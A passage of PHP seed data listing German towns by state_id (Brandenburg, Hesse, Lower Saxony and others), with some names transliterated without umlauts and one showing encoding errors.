'name' => 'dahlewitz'],\n ['state_id' => '1360', 'name' => 'dahme'],\n ['state_id' => '1360', 'name' => 'eberswalde'],\n ['state_id' => '1360', 'name' => 'eisenhuttenstadt'],\n ['state_id' => '1360', 'name' => 'elsterwerda'],\n ['state_id' => '1360', 'name' => 'erkner'],\n ['state_id' => '1360', 'name' => 'falkensee'],\n ['state_id' => '1360', 'name' => 'finsterwalde'],\n ['state_id' => '1360', 'name' => 'forst'],\n ['state_id' => '1360', 'name' => 'frankfurt'],\n ['state_id' => '1360', 'name' => 'fredersdorf-vogelsdorf'],\n ['state_id' => '1360', 'name' => 'furstenwalde'],\n ['state_id' => '1360', 'name' => 'glienicke'],\n ['state_id' => '1360', 'name' => 'gransee'],\n ['state_id' => '1360', 'name' => 'grobraschen'],\n ['state_id' => '1360', 'name' => 'guben'],\n ['state_id' => '1360', 'name' => 'heidesee'],\n ['state_id' => '1360', 'name' => 'hennigsdorf'],\n ['state_id' => '1360', 'name' => 'herzberg'],\n ['state_id' => '1360', 'name' => 'hohen neuendorf'],\n ['state_id' => '1360', 'name' => 'jacobsdorf'],\n ['state_id' => '1360', 'name' => 'juterbog'],\n ['state_id' => '1360', 'name' => 'kleinmachnow'],\n ['state_id' => '1360', 'name' => 'kolkwitz'],\n ['state_id' => '1360', 'name' => 'konigs wusterhausen'],\n ['state_id' => '1360', 'name' => 'kyritz'],\n ['state_id' => '1360', 'name' => 'lauchhammer'],\n ['state_id' => '1360', 'name' => 'lubben'],\n ['state_id' => '1360', 'name' => 'lubbenau'],\n ['state_id' => '1360', 'name' => 'luckenwalde'],\n ['state_id' => '1360', 'name' => 'ludwigsfelde'],\n ['state_id' => '1360', 'name' => 'nauen'],\n ['state_id' => '1360', 'name' => 'neuenhagen'],\n ['state_id' => '1360', 'name' => 'neuruppin'],\n ['state_id' => '1360', 'name' => 'oranienburg'],\n ['state_id' => '1360', 'name' => 'perleberg'],\n ['state_id' => '1360', 'name' => 'petershagen-eggersdorf'],\n ['state_id' => '1360', 'name' => 'potsdam'],\n ['state_id' => '1360', 'name' => 'premnitz'],\n ['state_id' => '1360', 'name' => 'prenzlau'],\n ['state_id' => '1360', 'name' => 'pritzwalk'],\n ['state_id' => '1360', 'name' => 'rathenow'],\n ['state_id' => '1360', 'name' => 'rudersdorf'],\n ['state_id' => '1360', 'name' => 'schonefeld'],\n ['state_id' => '1360', 'name' => 'schoneiche'],\n ['state_id' => '1360', 'name' => 'schwedt'],\n ['state_id' => '1360', 'name' => 'schwielowsee'],\n ['state_id' => '1360', 'name' => 'senftenberg'],\n ['state_id' => '1360', 'name' => 'spremberg'],\n ['state_id' => '1360', 'name' => 'strausberg'],\n ['state_id' => '1360', 'name' => 'teltow'],\n ['state_id' => '1360', 'name' => 'templin'],\n ['state_id' => '1360', 'name' => 'velten'],\n ['state_id' => '1360', 'name' => 'werder'],\n ['state_id' => '1360', 'name' => 'wildau'],\n ['state_id' => '1360', 'name' => 'wittenberge'],\n ['state_id' => '1360', 'name' => 'wittstock'],\n ['state_id' => '1360', 'name' => 'zehdenick'],\n ['state_id' => '1360', 'name' => 'zepernick'],\n ['state_id' => '1361', 'name' => 'bremen'],\n ['state_id' => '1361', 'name' => 'bremerhaven'],\n ['state_id' => '1364', 'name' => 'berne'],\n ['state_id' => '1364', 'name' => 'hamburg'],\n ['state_id' => '1365', 'name' => 'diekholzen'],\n ['state_id' => '1366', 'name' => 'heroldstatt'],\n ['state_id' => '1367', 'name' => 'ablar'],\n ['state_id' => '1367', 'name' => 'alsbach-hãƒâ¤hnlein'],\n ['state_id' => '1367', 'name' => 'alsfeld'],\n ['state_id' => '1367', 'name' => 'altenstadt'],\n ['state_id' => '1367', 'name' => 'angelburg'],\n ['state_id' => '1367', 'name' => 'arolsen'],\n ['state_id' => '1367', 'name' => 'asslar'],\n ['state_id' => '1367', 'name' => 'babenhausen'],\n ['state_id' => '1367', 'name' => 'bad camberg'],\n ['state_id' => '1367', 'name' => 'bad hersfeld'],\n ['state_id' => '1367', 'name' => 'bad homburg'],\n ['state_id' => '1367', 'name' => 'bad nauheim'],\n ['state_id' => '1367', 'name' => 'bad orb'],\n ['state_id' => '1367', 'name' => 'bad schwalbach'],\n ['state_id' => '1367', 'name' => 'bad soden'],\n ['state_id' => '1367', 'name' => 'bad soden-salmunster'],\n ['state_id' => '1367', 'name' => 'bad sooden-allendorf'],\n ['state_id' => '1367', 'name' => 'bad vilbel'],\n ['state_id' => '1367', 'name' => 'bad wildungen'],\n ['state_id' => '1367', 'name' => 'baunatal'],\n ['state_id' => '1367', 'name' => 'bebra'],\n ['state_id' => '1367', 'name' => 'beerfelden'],\n ['state_id' => '1367', 'name' => 'bensheim'],\n ['state_id' => '1367', 'name' => 'berkatal'],\n ['state_id' => '1367', 'name' => 'biblis'],\n ['state_id' => '1367', 'name' => 'bickenbach'],\n ['state_id' => '1367', 'name' => 'biebertal'],\n ['state_id' => '1367', 'name' => 'biedenkopf'],\n ['state_id' => '1367', 'name' => 'birkenau'],\n ['state_id' => '1367', 'name' => 'bischofsheim'],\n ['state_id' => '1367', 'name' => 'borken'],\n ['state_id' => '1367', 'name' => 'braunfels'],\n ['state_id' => '1367', 'name' => 'breidenbach'],\n ['state_id' => '1367', 'name' => 'bruchkobel'],\n ['state_id' => '1367', 'name' => 'budingen'],\n ['state_id' => '1367', 'name' => 'burstadt'],\n ['state_id' => '1367', 'name' => 'buseck'],\n ['state_id' => '1367', 'name' => 'buttelborn'],\n ['state_id' => '1367', 'name' => 'butzbach'],\n ['state_id' => '1367', 'name' => 'darmstadt'],\n ['state_id' => '1367', 'name' => 'dautphetal'],\n ['state_id' => '1367', 'name' => 'dieburg'],\n ['state_id' => '1367', 'name' => 'dietzenbach'],\n ['state_id' => '1367', 'name' => 'dillenburg'],\n ['state_id' => '1367', 'name' => 'dreieich'],\n ['state_id' => '1367', 'name' => 'egelsbach'],\n ['state_id' => '1367', 'name' => 'eichenzell'],\n ['state_id' => '1367', 'name' => 'eltville'],\n ['state_id' => '1367', 'name' => 'eppstein'],\n ['state_id' => '1367', 'name' => 'erbach'],\n ['state_id' => '1367', 'name' => 'erlensee'],\n ['state_id' => '1367', 'name' => 'erzhausen'],\n ['state_id' => '1367', 'name' => 'eschborn'],\n ['state_id' => '1367', 'name' => 'eschenburg'],\n ['state_id' => '1367', 'name' => 'eschwege'],\n ['state_id' => '1367', 'name' => 'felsberg'],\n ['state_id' => '1367', 'name' => 'fernwald'],\n ['state_id' => '1367', 'name' => 'florsheim'],\n ['state_id' => '1367', 'name' => 'frankenberg'],\n ['state_id' => '1367', 'name' => 'frankfurt'],\n ['state_id' => '1367', 'name' => 'freigericht'],\n ['state_id' => '1367', 'name' => 'friedberg'],\n ['state_id' => '1367', 'name' => 'friedrichsdorf'],\n ['state_id' => '1367', 'name' => 'fritzlar'],\n ['state_id' => '1367', 'name' => 'fulda'],\n ['state_id' => '1367', 'name' => 'fuldabruck'],\n ['state_id' => '1367', 'name' => 'fuldatal'],\n ['state_id' => '1367', 'name' => 'geisenheim'],\n ['state_id' => '1367', 'name' => 'gelnhausen'],\n ['state_id' => '1367', 'name' => 'gernsheim'],\n ['state_id' => '1367', 'name' => 'gieben'],\n ['state_id' => '1367', 'name' => 'giessen'],\n ['state_id' => '1367', 'name' => 'ginsheim-gustavsburg'],\n ['state_id' => '1367', 'name' => 'gladenbach'],\n ['state_id' => '1367', 'name' => 'griesheim'],\n ['state_id' => '1367', 'name' => 'grob-gerau'],\n ['state_id' => '1367', 'name' => 'grob-umstadt'],\n ['state_id' => '1367', 'name' => 'grob-zimmern'],\n ['state_id' => '1367', 'name' => 'grossenluder'],\n ['state_id' => '1367', 'name' => 'gruenberg'],\n ['state_id' => '1367', 'name' => 'grunberg'],\n ['state_id' => '1367', 'name' => 'grundau'],\n ['state_id' => '1367', 'name' => 'hadamar'],\n ['state_id' => '1367', 'name' => 'haiger'],\n ['state_id' => '1367', 'name' => 'hainburg'],\n ['state_id' => '1367', 'name' => 'hanau'],\n ['state_id' => '1367', 'name' => 'hattersheim'],\n ['state_id' => '1367', 'name' => 'heppenheim'],\n ['state_id' => '1367', 'name' => 'herborn'],\n ['state_id' => '1367', 'name' => 'hessisch lichtenau'],\n ['state_id' => '1367', 'name' => 'heuchelheim'],\n ['state_id' => '1367', 'name' => 'heusenstamm'],\n ['state_id' => '1367', 'name' => 'hochheim'],\n ['state_id' => '1367', 'name' => 'hochst'],\n ['state_id' => '1367', 'name' => 'hofbieber'],\n ['state_id' => '1367', 'name' => 'hofgeismar'],\n ['state_id' => '1367', 'name' => 'hofheim'],\n ['state_id' => '1367', 'name' => 'homberg'],\n ['state_id' => '1367', 'name' => 'hunfeld'],\n ['state_id' => '1367', 'name' => 'hunfelden'],\n ['state_id' => '1367', 'name' => 'hungen'],\n ['state_id' => '1367', 'name' => 'huttenberg'],\n ['state_id' => '1367', 'name' => 'idstein'],\n ['state_id' => '1367', 'name' => 'karben'],\n ['state_id' => '1367', 'name' => 'kassel'],\n ['state_id' => '1367', 'name' => 'kaufungen'],\n ['state_id' => '1367', 'name' => 'kelkheim'],\n ['state_id' => '1367', 'name' => 'kelsterbach'],\n ['state_id' => '1367', 'name' => 'kirchhain'],\n ['state_id' => '1367', 'name' => 'konigstein'],\n ['state_id' => '1367', 'name' => 'korbach'],\n ['state_id' => '1367', 'name' => 'kriftel'],\n ['state_id' => '1367', 'name' => 'kronberg'],\n ['state_id' => '1367', 'name' => 'kunzell'],\n ['state_id' => '1367', 'name' => 'lahnau'],\n ['state_id' => '1367', 'name' => 'lahntal'],\n ['state_id' => '1367', 'name' => 'lampertheim'],\n ['state_id' => '1367', 'name' => 'langen'],\n ['state_id' => '1367', 'name' => 'langenselbold'],\n ['state_id' => '1367', 'name' => 'langgons'],\n ['state_id' => '1367', 'name' => 'laubach'],\n ['state_id' => '1367', 'name' => 'lauterbach'],\n ['state_id' => '1367', 'name' => 'lich'],\n ['state_id' => '1367', 'name' => 'limburg'],\n ['state_id' => '1367', 'name' => 'linden'],\n ['state_id' => '1367', 'name' => 'lindenholzhausen'],\n ['state_id' => '1367', 'name' => 'linsengericht'],\n ['state_id' => '1367', 'name' => 'lohfelden'],\n ['state_id' => '1367', 'name' => 'lollar'],\n ['state_id' => '1367', 'name' => 'lorsch'],\n ['state_id' => '1367', 'name' => 'maintal'],\n ['state_id' => '1367', 'name' => 'marburg'],\n ['state_id' => '1367', 'name' => 'melsungen'],\n ['state_id' => '1367', 'name' => 'mengerskirchen'],\n ['state_id' => '1367', 'name' => 'michelstadt'],\n ['state_id' => '1367', 'name' => 'morfelden-walldorf'],\n ['state_id' => '1367', 'name' => 'morlenbach'],\n ['state_id' => '1367', 'name' => 'mucke'],\n ['state_id' => '1367', 'name' => 'muhlheim'],\n ['state_id' => '1367', 'name' => 'muhltal'],\n ['state_id' => '1367', 'name' => 'munster'],\n ['state_id' => '1367', 'name' => 'nauheim'],\n ['state_id' => '1367', 'name' => 'neu-anspach'],\n ['state_id' => '1367', 'name' => 'neu-isenburg'],\n ['state_id' => '1367', 'name' => 'neuhof'],\n ['state_id' => '1367', 'name' => 'neustadt'],\n ['state_id' => '1367', 'name' => 'nidda'],\n ['state_id' => '1367', 'name' => 'niddatal'],\n ['state_id' => '1367', 'name' => 'nidderau'],\n ['state_id' => '1367', 'name' => 'niederdorfelden'],\n ['state_id' => '1367', 'name' => 'niedernhausen'],\n ['state_id' => '1367', 'name' => 'niestetal'],\n ['state_id' => '1367', 'name' => 'ober-ramstedt'],\n ['state_id' => '1367', 'name' => 'obertshausen'],\n ['state_id' => '1367', 'name' => 'oberursel'],\n ['state_id' => '1367', 'name' => 'oestrich-winkel'],\n ['state_id' => '1367', 'name' => 'offenbach'],\n ['state_id' => '1367', 'name' => 'petersberg'],\n ['state_id' => '1367', 'name' => 'pfungstadt'],\n ['state_id' => '1367', 'name' => 'pohlheim'],\n ['state_id' => '1367', 'name' => 'raunheim'],\n ['state_id' => '1367', 'name' => 'reichelsheim'],\n ['state_id' => '1367', 'name' => 'reinheim'],\n ['state_id' => '1367', 'name' => 'reiskirchen'],\n ['state_id' => '1367', 'name' => 'riedstadt'],\n ['state_id' => '1367', 'name' => 'rimbach'],\n ['state_id' => '1367', 'name' => 'robdorf'],\n ['state_id' => '1367', 'name' => 'rodenbach'],\n ['state_id' => '1367', 'name' => 'rodermark'],\n ['state_id' => '1367', 'name' => 'rodgau'],\n ['state_id' => '1367', 'name' => 'rosbach'],\n ['state_id' => '1367', 'name' => 'rotenburg'],\n ['state_id' => '1367', 'name' => 'rudesheim'],\n ['state_id' => '1367', 'name' => 'runkel'],\n ['state_id' => '1367', 'name' => 'russelsheim'],\n ['state_id' => '1367', 'name' => 'schauenburg'],\n ['state_id' => '1367', 'name' => 'schlangenbad'],\n ['state_id' => '1367', 'name' => 'schlitz'],\n ['state_id' => '1367', 'name' => 'schluchtern'],\n ['state_id' => '1367', 'name' => 'schoneck'],\n ['state_id' => '1367', 'name' => 'schotten'],\n ['state_id' => '1367', 'name' => 'schwalbach'],\n ['state_id' => '1367', 'name' => 'schwalbach am taunus'],\n ['state_id' => '1367', 'name' => 'schwalmstadt'],\n ['state_id' => '1367', 'name' => 'seeheim-jugenheim'],\n ['state_id' => '1367', 'name' => 'seligenstadt'],\n ['state_id' => '1367', 'name' => 'selters'],\n ['state_id' => '1367', 'name' => 'sinntal'],\n ['state_id' => '1367', 'name' => 'solms'],\n ['state_id' => '1367', 'name' => 'sontra'],\n ['state_id' => '1367', 'name' => 'spangenberg'],\n ['state_id' => '1367', 'name' => 'stadtallendorf'],\n ['state_id' => '1367', 'name' => 'steinau'],\n ['state_id' => '1367', 'name' => 'steinbach'],\n ['state_id' => '1367', 'name' => 'taunusstein'],\n ['state_id' => '1367', 'name' => 'trebur'],\n ['state_id' => '1367', 'name' => 'ulrichstein'],\n ['state_id' => '1367', 'name' => 'usingen'],\n ['state_id' => '1367', 'name' => 'vellmar'],\n ['state_id' => '1367', 'name' => 'viernheim'],\n ['state_id' => '1367', 'name' => 'volkmarsen'],\n ['state_id' => '1367', 'name' => 'wachtersbach'],\n ['state_id' => '1367', 'name' => 'wald-michelbach'],\n ['state_id' => '1367', 'name' => 'waldbrunn'],\n ['state_id' => '1367', 'name' => 'waldems'],\n ['state_id' => '1367', 'name' => 'wehrheim'],\n ['state_id' => '1367', 'name' => 'weilburg'],\n ['state_id' => '1367', 'name' => 'weilmunster'],\n ['state_id' => '1367', 'name' => 'weiterstadt'],\n ['state_id' => '1367', 'name' => 'wettenberg'],\n ['state_id' => '1367', 'name' => 'wetter'],\n ['state_id' => '1367', 'name' => 'wetzlar'],\n ['state_id' => '1367', 'name' => 'wiesbaden'],\n ['state_id' => '1367', 'name' => 'witzenhausen'],\n ['state_id' => '1367', 'name' => 'wolfersheim'],\n ['state_id' => '1367', 'name' => 'wolfhagen'],\n ['state_id' => '1367', 'name' => 'zwingenberg'],\n ['state_id' => '1368', 'name' => 'kortenberg'],\n ['state_id' => '1369', 'name' => 'laasdorf'],\n ['state_id' => '1381', 'name' => 'anklam'],\n ['state_id' => '1381', 'name' => 'bad doberan'],\n ['state_id' => '1381', 'name' => 'barth'],\n ['state_id' => '1381', 'name' => 'bergen'],\n ['state_id' => '1381', 'name' => 'boizenburg'],\n ['state_id' => '1381', 'name' => 'butzow'],\n ['state_id' => '1381', 'name' => 'demmin'],\n ['state_id' => '1381', 'name' => 'gagelow'],\n ['state_id' => '1381', 'name' => 'gallin'],\n ['state_id' => '1381', 'name' => 'grabow'],\n ['state_id' => '1381', 'name' => 'greifswald'],\n ['state_id' => '1381', 'name' => 'grevesmuhlen'],\n ['state_id' => '1381', 'name' => 'grimmen'],\n ['state_id' => '1381', 'name' => 'gustrow'],\n ['state_id' => '1381', 'name' => 'hagenow'],\n ['state_id' => '1381', 'name' => 'konigsee'],\n ['state_id' => '1381', 'name' => 'lubtheen'],\n ['state_id' => '1381', 'name' => 'ludersdorf'],\n ['state_id' => '1381', 'name' => 'ludwigslust'],\n ['state_id' => '1381', 'name' => 'malchin'],\n ['state_id' => '1381', 'name' => 'neubrandenburg'],\n ['state_id' => '1381', 'name' => 'neustrelitz'],\n ['state_id' => '1381', 'name' => 'parchim'],\n ['state_id' => '1381', 'name' => 'pasewalk'],\n ['state_id' => '1381', 'name' => 'ribnitz-damgarten'],\n ['state_id' => '1381', 'name' => 'rostock'],\n ['state_id' => '1381', 'name' => 'sabnitz'],\n ['state_id' => '1381', 'name' => 'schweina'],\n ['state_id' => '1381', 'name' => 'schwerin'],\n ['state_id' => '1381', 'name' => 'selmsdorf'],\n ['state_id' => '1381', 'name' => 'stralsund'],\n ['state_id' => '1381', 'name' => 'teterow'],\n ['state_id' => '1381', 'name' => 'torgelow'],\n ['state_id' => '1381', 'name' => 'ueckermunde'],\n ['state_id' => '1381', 'name' => 'waren'],\n ['state_id' => '1381', 'name' => 'wismar'],\n ['state_id' => '1381', 'name' => 'wolgast'],\n ['state_id' => '1381', 'name' => 'zarrentin'],\n ['state_id' => '1382', 'name' => 'mulfingen'],\n ['state_id' => '1383', 'name' => 'grafing bei munchen'],\n ['state_id' => '1384', 'name' => 'neubeuern'],\n ['state_id' => '1385', 'name' => 'achim'],\n ['state_id' => '1385', 'name' => 'adendorf'],\n ['state_id' => '1385', 'name' => 'aerzen'],\n ['state_id' => '1385', 'name' => 'alfeld'],\n ['state_id' => '1385', 'name' => 'ankum'],\n ['state_id' => '1385', 'name' => 'apen'],\n ['state_id' => '1385', 'name' => 'aurich'],\n ['state_id' => '1385', 'name' => 'bad bentheim'],\n ['state_id' => '1385', 'name' => 'bad bevensen'],\n ['state_id' => '1385', 'name' => 'bad essen'],\n ['state_id' => '1385', 'name' => 'bad gandersheim'],\n ['state_id' => '1385', 'name' => 'bad harzburg'],\n ['state_id' => '1385', 'name' => 'bad iburg'],\n ['state_id' => '1385', 'name' => 'bad laer'],\n ['state_id' => '1385', 'name' => 'bad lauterberg'],\n ['state_id' => '1385', 'name' => 'bad munder'],\n ['state_id' => '1385', 'name' => 'bad nenndorf'],\n ['state_id' => '1385', 'name' => 'bad pyrmont'],\n ['state_id' => '1385', 'name' => 'bad sachsa'],\n ['state_id' => '1385', 'name' => 'bad salzdetfurth'],\n ['state_id' => '1385', 'name' => 'bad zwischenahn'],\n ['state_id' => '1385', 'name' => 'barbel'],\n ['state_id' => '1385', 'name' => 'barsinghausen'],\n ['state_id' => '1385', 'name' => 'bassum'],\n ['state_id' => '1385', 'name' => 'beesten'],\n ['state_id' => '1385', 'name' => 'belm'],\n ['state_id' => '1385', 'name' => 'bergen'],\n ['state_id' => '1385', 'name' => 'bissendorf'],\n ['state_id' => '1385', 'name' => 'bleckede'],\n ['state_id' => '1385', 'name' => 'bockenem'],\n ['state_id' => '1385', 'name' => 'bohmte'],\n ['state_id' => '1385', 'name' => 'bovenden'],\n ['state_id' => '1385', 'name' => 'brake'],\n ['state_id' => '1385', 'name' => 'bramsche'],\n ['state_id' => '1385', 'name' => 'braunschweig'],\n ['state_id' => '1385', 'name' => 'bremervorde'],\n ['state_id' => '1385', 'name' => 'brockel'],\n ['state_id' => '1385', 'name' => 'brunswick'],\n ['state_id' => '1385', 'name' => 'buchholz'],\n ['state_id' => '1385', 'name' => 'buckeburg'],\n ['state_id' => '1385', 'name' => 'burgdorf'],\n ['state_id' => '1385', 'name' => 'burgwedel'],\n ['state_id' => '1385', 'name' => 'buxtehude'],\n ['state_id' => '1385', 'name' => 'celle'],\n ['state_id' => '1385', 'name' => 'clausthal-zellerfeld'],\n ['state_id' => '1385', 'name' => 'clenze'],\n ['state_id' => '1385', 'name' => 'cloppenburg'],\n ['state_id' => '1385', 'name' => 'cremlingen'],\n ['state_id' => '1385', 'name' => 'cuxhaven'],\n ['state_id' => '1385', 'name' => 'dahlenburg'],\n ['state_id' => '1385', 'name' => 'damme'],\n ['state_id' => '1385', 'name' => 'dannenberg'],\n ['state_id' => '1385', 'name' => 'dassel'],\n ['state_id' => '1385', 'name' => 'deinste'],\n ['state_id' => '1385', 'name' => 'delmenhorst'],\n ['state_id' => '1385', 'name' => 'diepholz'],\n ['state_id' => '1385', 'name' => 'dinklage'],\n ['state_id' => '1385', 'name' => 'dorverden'],\n ['state_id' => '1385', 'name' => 'dransfeld'],\n ['state_id' => '1385', 'name' => 'drochtersen'],\n ['state_id' => '1385', 'name' => 'duderstadt'],\n ['state_id' => '1385', 'name' => 'edemissen'],\n ['state_id' => '1385', 'name' => 'edewecht'],\n ['state_id' => '1385', 'name' => 'einbeck'],\n ['state_id' => '1385', 'name' => 'elsfleth'],\n ['state_id' => '1385', 'name' => 'elze'],\n ['state_id' => '1385', 'name' => 'emden'],\n ['state_id' => '1385', 'name' => 'emlichheim'],\n ['state_id' => '1385', 'name' => 'emmerthal'],\n ['state_id' => '1385', 'name' => 'emsburen'],\n ['state_id' => '1385', 'name' => 'eppendorf'],\n ['state_id' => '1385', 'name' => 'fallingbostel'],\n ['state_id' => '1385', 'name' => 'frellstedt'],\n ['state_id' => '1385', 'name' => 'friedeburg'],\n ['state_id' => '1385', 'name' => 'friedland'],\n ['state_id' => '1385', 'name' => 'friesoythe'],\n ['state_id' => '1385', 'name' => 'ganderkesee'],\n ['state_id' => '1385', 'name' => 'garbsen'],\n ['state_id' => '1385', 'name' => 'garrel'],\n ['state_id' => '1385', 'name' => 'geeste'],\n ['state_id' => '1385', 'name' => 'gehrden'],\n ['state_id' => '1385', 'name' => 'georgsmarienhutte'],\n ['state_id' => '1385', 'name' => 'gifhorn'],\n ['state_id' => '1385', 'name' => 'gleichen'],\n ['state_id' => '1385', 'name' => 'goslar'],\n ['state_id' => '1385', 'name' => 'gottingen'],\n ['state_id' => '1385', 'name' => 'grobefehn'],\n ['state_id' => '1385', 'name' => 'grobenkneten'],\n ['state_id' => '1385', 'name' => 'hagen'],\n ['state_id' => '1385', 'name' => 'hambergen'],\n ['state_id' => '1385', 'name' => 'hameln'],\n ['state_id' => '1385', 'name' => 'hannover'],\n ['state_id' => '1385', 'name' => 'hannoversch munden'],\n ['state_id' => '1385', 'name' => 'haren'],\n ['state_id' => '1385', 'name' => 'harsum'],\n ['state_id' => '1385', 'name' => 'hasbergen'],\n ['state_id' => '1385', 'name' => 'haselunne'],\n ['state_id' => '1385', 'name' => 'hatten'],\n ['state_id' => '1385', 'name' => 'hauslingen'],\n ['state_id' => '1385', 'name' => 'helmstedt'],\n ['state_id' => '1385', 'name' => 'hemmingen'],\n ['state_id' => '1385', 'name' => 'herzberg'],\n ['state_id' => '1385', 'name' => 'hessisch oldendorf'],\n ['state_id' => '1385', 'name' => 'hildesheim'],\n ['state_id' => '1385', 'name' => 'hilter'],\n ['state_id' => '1385', 'name' => 'hittfeld'],\n ['state_id' => '1385', 'name' => 'holzminden'],\n ['state_id' => '1385', 'name' => 'hoya'],\n ['state_id' => '1385', 'name' => 'hude'],\n ['state_id' => '1385', 'name' => 'ihlow'],\n ['state_id' => '1385', 'name' => 'ilsede'],\n ['state_id' => '1385', 'name' => 'isernhagen'],\n ['state_id' => '1385', 'name' => 'jade'],\n ['state_id' => '1385', 'name' => 'jever'],\n ['state_id' => '1385', 'name' => 'jork'],\n ['state_id' => '1385', 'name' => 'kalefeld'],\n ['state_id' => '1385', 'name' => 'kirchlinteln'],\n ['state_id' => '1385', 'name' => 'knesebeck'],\n ['state_id' => '1385', 'name' => 'konigslutter'],\n ['state_id' => '1385', 'name' => 'krummhorn'],\n ['state_id' => '1385', 'name' => 'laatzen'],\n ['state_id' => '1385', 'name' => 'lahstedt'],\n ['state_id' => '1385', 'name' => 'langelsheim'],\n ['state_id' => '1385', 'name' => 'langen'],\n ['state_id' => '1385', 'name' => 'langenhagen'],\n ['state_id' => '1385', 'name' => 'langwedel'],\n ['state_id' => '1385', 'name' => 'lastrup'],\n ['state_id' => '1385', 'name' => 'leer'],\n ['state_id' => '1385', 'name' => 'lehre'],\n ['state_id' => '1385', 'name' => 'lehrte'],\n ['state_id' => '1385', 'name' => 'lemforde'],\n ['state_id' => '1385', 'name' => 'lengede'],\n ['state_id' => '1385', 'name' => 'liebenburg'],\n ['state_id' => '1385', 'name' => 'lilienthal'],\n ['state_id' => '1385', 'name' => 'lingen'],\n ['state_id' => '1385', 'name' => 'lohne'],\n ['state_id' => '1385', 'name' => 'loningen'],\n ['state_id' => '1385', 'name' => 'lorup'],\n ['state_id' => '1385', 'name' => 'loxstedt'],\n ['state_id' => '1385', 'name' => 'luchow'],\n ['state_id' => '1385', 'name' => 'luneburg'],\n ['state_id' => '1385', 'name' => 'melle'],\n ['state_id' => '1385', 'name' => 'meppen'],\n ['state_id' => '1385', 'name' => 'moormerland'],\n ['state_id' => '1385', 'name' => 'munster'],\n ['state_id' => '1385', 'name' => 'neu wulmstorf'],\n ['state_id' => '1385', 'name' => 'neustadt'],\n ['state_id' => '1385', 'name' => 'nienburg'],\n ['state_id' => '1385', 'name' => 'norden'],\n ['state_id' => '1385', 'name' => 'nordenham'],\n ['state_id' => '1385', 'name' => 'nordhorn'],\n ['state_id' => '1385', 'name' => 'nordstemmen'],\n ['state_id' => '1385', 'name' => 'norten-hardenberg'],\n ['state_id' => '1385', 'name' => 'northeim'],\n ['state_id' => '1385', 'name' => 'obernkirchen'],\n ['state_id' => '1385', 'name' => 'oldenburg'],\n ['state_id' => '1385', 'name' => 'osnabruck'],\n ['state_id' => '1385', 'name' => 'ostercappeln'],\n ['state_id' => '1385', 'name' => 'osterholz-scharmbeck'],\n ['state_id' => '1385', 'name' => 'osterode'],\n ['state_id' => '1385', 'name' => 'ostrhauderfehn'],\n ['state_id' => '1385', 'name' => 'ottersberg'],\n ['state_id' => '1385', 'name' => 'oyten'],\n ['state_id' => '1385', 'name' => 'papenburg'],\n ['state_id' => '1385', 'name' => 'pattensen'],\n ['state_id' => '1385', 'name' => 'peine'],\n ['state_id' => '1385', 'name' => 'quakenbruck'],\n ['state_id' => '1385', 'name' => 'rastede'],\n ['state_id' => '1385', 'name' => 'rehburg-loccum'],\n ['state_id' => '1385', 'name' => 'rhauderfehn'],\n ['state_id' => '1385', 'name' => 'rinteln'],\n ['state_id' => '1385', 'name' => 'ritterhude'],\n ['state_id' => '1385', 'name' => 'ronnenberg'],\n ['state_id' => '1385', 'name' => 'rosdorf'],\n ['state_id' => '1385', 'name' => 'rosengarten'],\n ['state_id' => '1385', 'name' => 'rotenburg'],\n ['state_id' => '1385', 'name' => 'salzgitter'],\n ['state_id' => '1385', 'name' => 'salzhemmendorf'],\n ['state_id' => '1385', 'name' => 'sarstedt'],\n ['state_id' => '1385', 'name' => 'saterland'],\n ['state_id' => '1385', 'name' => 'scheebel'],\n ['state_id' => '1385', 'name' => 'schiffdorf'],\n ['state_id' => '1385', 'name' => 'schneverdingen'],\n ['state_id' => '1385', 'name' => 'schoningen'],\n ['state_id' => '1385', 'name' => 'schortens'],\n ['state_id' => '1385', 'name' => 'schuttorf'],\n ['state_id' => '1385', 'name' => 'schwanewede'],\n ['state_id' => '1385', 'name' => 'seelze'],\n ['state_id' => '1385', 'name' => 'seesen'],\n ['state_id' => '1385', 'name' => 'seevetal'],\n ['state_id' => '1385', 'name' => 'sehnde'],\n ['state_id' => '1385', 'name' => 'soltau'],\n ['state_id' => '1385', 'name' => 'springe'],\n ['state_id' => '1385', 'name' => 'stade'],\n ['state_id' => '1385', 'name' => 'stadthagen'],\n ['state_id' => '1385', 'name' => 'stadtoldendorf'],\n ['state_id' => '1385', 'name' => 'stelle'],\n ['state_id' => '1385', 'name' => 'stuhr'],\n ['state_id' => '1385', 'name' => 'sudbrookmerland'],\n ['state_id' => '1385', 'name' => 'sulingen'],\n ['state_id' => '1385', 'name' => 'syke'],\n ['state_id' => '1385', 'name' => 'tarmstedt'],\n ['state_id' => '1385', 'name' => 'tostedt'],\n ['state_id' => '1385', 'name' => 'twistringen'],\n ['state_id' => '1385', 'name' => 'uchte'],\n ['state_id' => '1385', 'name' => 'uelzen'],\n ['state_id' => '1385', 'name' => 'uetze'],\n ['state_id' => '1385', 'name' => 'uplengen'],\n ['state_id' => '1385', 'name' => 'uslar'],\n ['state_id' => '1385', 'name' => 'varel'],\n ['state_id' => '1385', 'name' => 'vechelde'],\n ['state_id' => '1385', 'name' => 'vechta'],\n ['state_id' => '1385', 'name' => 'verden'],\n ['state_id' => '1385', 'name' => 'vienenburg'],\n ['state_id' => '1385', 'name' => 'visselhovede'],\n ['state_id' => '1385', 'name' => 'walkenried'],\n ['state_id' => '1385', 'name' => 'wallenhorst'],\n ['state_id' => '1385', 'name' => 'walsrode'],\n ['state_id' => '1385', 'name' => 'wangerland'],\n ['state_id' => '1385', 'name' => 'wardenburg'],\n ['state_id' => '1385', 'name' => 'wedemark'],\n ['state_id' => '1385', 'name' => 'weener'],\n ['state_id' => '1385', 'name' => 'wendeburg'],\n ['state_id' => '1385', 'name' => 'wennigsen'],\n ['state_id' => '1385', 'name' => 'westerstede'],\n ['state_id' => '1385', 'name' => 'westoverledingen'],\n ['state_id' => '1385', 'name' => 'weyhe'],\n ['state_id' => '1385', 'name' => 'wiefelstede'],\n ['state_id' => '1385', 'name' => 'wiesmoor'],\n ['state_id' => '1385', 'name' => 'wildeshausen'],\n ['state_id' => '1385', 'name' => 'wilhelmshaven'],\n ['state_id' => '1385', 'name' => 'winsen'],\n ['state_id' => '1385', 'name' => 'wittingen'],\n ['state_id' => '1385', 'name' => 'wittmund'],\n ['state_id' => '1385', 'name' => 'wolfenbuttel'],\n ['state_id' => '1385', 'name' => 'wolfsburg'],\n ['state_id' => '1385', 'name' => 'worpswede'],\n ['state_id' => '1385', 'name' => 'wunstorf'],\n ['state_id' => '1385', 'name' 